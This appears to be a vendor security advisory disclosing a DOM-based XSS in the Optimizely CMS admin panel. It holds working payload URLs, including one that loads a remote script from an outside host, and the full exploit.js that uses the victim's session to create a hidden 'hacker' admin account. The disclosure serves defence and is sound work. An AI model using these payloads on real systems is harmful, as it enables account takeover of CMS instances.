Optimizely CMS Admin Panel DOM XSS
Description
The Optimizely admin interface was vulnerable to DOM-based cross-site scripting (XSS), which could allow an attacker to execute malicious Javascript code in a legitimate user's browser.
Optimizely CMS is a widely used content management system that allows users to create and manage digital content. The CMS was previously called Episerver.
Impact
WithSecure weaponized the XSS to automatically create an attacker-controlled admin user in Optimizely as a proof of concept. This could be used in conjunction with, for example, phishing to take control of Optimizely instances.
Proof of concept
The Optimizely admin panel utilized JavaScript to fetch and display content. The frontend looked at the content in the URL fragment and attempted to fetch the requested content. If the fetch failed, such as when the content did not exist, a dialogue would be displayed with an error message. The way this error message was displayed to the user left the application vulnerable to XSS. An example error can be viewed in the screenshot below:
The error message is displayed to the user by setting the innerHTML attribute on an element with the message content. The attacker-controlled input in this message is not sanitized or validated before the assignment. This allows an attacker to control the HTML content of the element. As an example, by visiting the following URL:
http://172.20.0.3/EPiServer/CMS/#context=epi.cms.contentdata:///%3Cimg%20src=x%20onerror=alert(%22xss%22)%3E
An alert popup in the user's browser (provided they are signed in to Optimizely) will be displayed, indicating that it is possible to execute arbitrary JavaScript:
Below is a debugging session where the attacker-controlled input reaches the vulnerable sink in widgets.js:
In the above screenshot, the contents of the variable _5c1 is printed in the browser console. The content is an error message meant to be displayed to the user, saying that the requested URL could not be loaded followed by the attacker provided data.
WithSecure weaponized the XSS to automatically add a new admin user to Optimizely when a link was clicked:
http://172.20.0.3/EPiServer/cms#context=epi.cms.contentdata:///%3Cimg%20src=x%20onerror=%22document.write('%3Cscript%20src=\'http://192.168.84.168:8000/exploit.js\'%3E%3C/script%3E')%22%3E
The URL-decoded payload can be viewed below:
<img src=x onerror="document.write('<script src=\'http://192.168.84.168:8000/exploit.js\'></script>')">
Since the user provided input reaches an innerHTML sink, regular <script> tags cannot be used to execute Javascript. Instead, an image tag with an onerror attribute is used to write a script tag to the DOM. The browser would then load additional attacker-controlled Javascript from http://192.168.84.168:8000/exploit.js. In a real-world scenario, this would be a host on the Internet instead of an internal host. The contents of exploit.js:
fetch('http://172.20.0.3/EPiServer/EPiServer.Cms.UI.Admin/default', { 'credentials': 'include' }).then(response => response.text()).then(data => data.match(/value="(.*)\"/)[1]).then(token => { json={"username":"hacker","email":"hacker@hack.hack","isChangePassword":true,"password":"Password1!","confirmPassword":"Password1!","currentPassword":"","passwordAnswer":"","language":null,"touchSupport":false,"headlessModeEnabled":false,"roles":["WebAdmins"],"isApproved":true,"isLockedOut":false};fetch('http://172.20.0.3/EPiServer/EPiServer.Cms.UI.Admin/users/Create',{'credentials':'include','body':JSON.stringify(json),'method':'POST',headers:{'Content-Type':'application/json','RequestVerificationToken':token}})})
The above script adds a user called hacker with a pre-set password as a web admin in Optimizely. An attacker would need to trick a user into clicking a malicious link that triggers the XSS vulnerability, and if the user is signed in to Optimizely, an attacker-controlled admin account would be created. The attacker can subsequently sign in to Optimizely using the account.